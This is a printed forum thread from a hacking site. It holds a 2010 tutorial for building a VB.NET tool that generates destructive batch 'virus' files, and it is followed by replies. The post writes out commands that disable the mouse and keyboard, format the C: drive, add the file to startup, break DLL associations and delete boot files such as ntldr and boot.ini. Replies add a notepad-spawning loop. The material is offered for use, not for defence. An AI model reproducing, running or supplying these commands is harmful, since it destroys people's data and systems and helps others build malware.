Hack Forums
[.NET] How to make a Batch Virus Maker [ TuT ] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] How to make a Batch Virus Maker [ TuT ] (/showthread.php?tid=710764)



How to make a Batch Virus Maker [ TuT ] - 50GTB - Sep 30, 2010

Hi

Today im going to teach you how to make a Batch Virus maker.
Let's do this.

Open visual basic or studio > New Project > Name it what ever you want.

1 Drag a RichTextBox
2 Drag a few buttons. As many virus codes you got.
1 Button - Safe as .Bat
1 Button Safe as .Txt
2 SaveFileDialog1 and SaveFileDialog2

On the RichTextBox you must have "@echo off " at the beginning!

Let's start coding.

Double click on the Button and put this codes.

Disable Mouse
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 mouse,disable" & vbNewLine

Disable Keyboard
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 keyboard,disable" & vbNewLine

Swap Mouse
Code
RichTextBox1.Text = RichTextBox1.Text & "rundll32 user,swapmousebutton" & vbNewLine

Format C:\
Code
RichTextBox1.Text = RichTextBox1.Text & "format c: /q /autotest" & vbNewLine

Add To Start Up
Code
RichTextBox1.Text = RichTextBox1.Text & "copy %0 %windir%WINSTART.BAT" & vbNewLine

Delete All.Dll Files
Code
RichTextBox1.Text = RichTextBox1.Text & "assoc %systemroot%\*.dll=txtfile" & vbNewLine

Kill Computer
Code
RichTextBox1.Text = RichTextBox1.Text & "attrib -r -s -h c:\autoexec.bat" & vbNewLine & "del c:\autoexec.bat" & vbNewLine & "attrib -r -s -h c:\boot.ini" & vbNewLine & "del c:\boot.ini" & vbNewLine & "attrib -r -s -h c:\ntldr" & vbNewLine & "del c:\ntldr" & vbNewLine & "attrib -r -s -h c:\windows\win.ini" & vbNewLine & "del c:\windows\win.ini" & vbNewLine
Make sure the Kill Computer Virus Code are all in 1 line other wise you will get error's.

Change Time
Code
RichTextBox1.Text = RichTextBox1.Text & "time 20:23" & vbNewLine
You can put any time you want i put 20.23

Save as .Bat
Code
SaveFileDialog1.ShowDialog()
  If SaveFileDialog1.FileName <> "" Then

  End If
  FileOpen(1, SaveFileDialog1.FileName, OpenMode.Output)
  PrintLine(1, RichTextBox1.Text)
  FileClose(1)
Make sure you type virusname.bat when you are saving

Save as .txt
Code
SaveFileDialog2.ShowDialog()
  If SaveFileDialog2.FileName <> "" Then

  End If
  FileOpen(1, SaveFileDialog2.FileName, OpenMode.Output)
  PrintLine(1, RichTextBox1.Text)
  FileClose(1)
Make sure you type virusname.txt when you are saving

I will also add more Virus Codes
If you got any problem with the source that i have gave here please contact me via pm and i will reply as soon as possible.

Thank you


* - Icy Wind - Sep 30, 2010

Code
RichTextBox1.Text += "Batch code goes here"

Will reduce the size of your code pretty much.


* - 50GTB - Sep 30, 2010

Yes brother but thats your way everyone codes in there way.


* - pr3fix - Sep 30, 2010

You could instead, add one textbox & one button and call it compile and write:
IO.File.WriteAllText("Path",Textbox1.text)


* - 50GTB - Sep 30, 2010

yes brother there is many ways


* - Lil Saintâ„¢ - Sep 30, 2010

thanks man great tutorial will try this soon.


* - 50GTB - Sep 30, 2010

No problem mate if you need any help just pm me


* - VBKTeam - Sep 30, 2010

Awesome! Thanks, You Can Add The Following: --Overflow Screen With Text Editors--

@echo off
lol:
start notepad
goto lol


* - 50GTB - Sep 30, 2010

no problem if you use it please give credits


* - Vats - Aug 11, 2011

Wow thx bro!!!
I'm gonna try this out on myself>>>

And guys I have a question...
How can we test our created virus weather its running or not without damaging our PC?


* - 50GTB - Aug 12, 2011

Thanks for the feedback this was kind of thread, also yes you can by using vmware.


* - Vats - Aug 17, 2011

hmmm bro I'll check out for "vmware" thanks for guiding!


* - hidmen - Aug 17, 2011

amazing TUT.

thanks. cool Code

The message is . Please enter a message longer than 50 characters.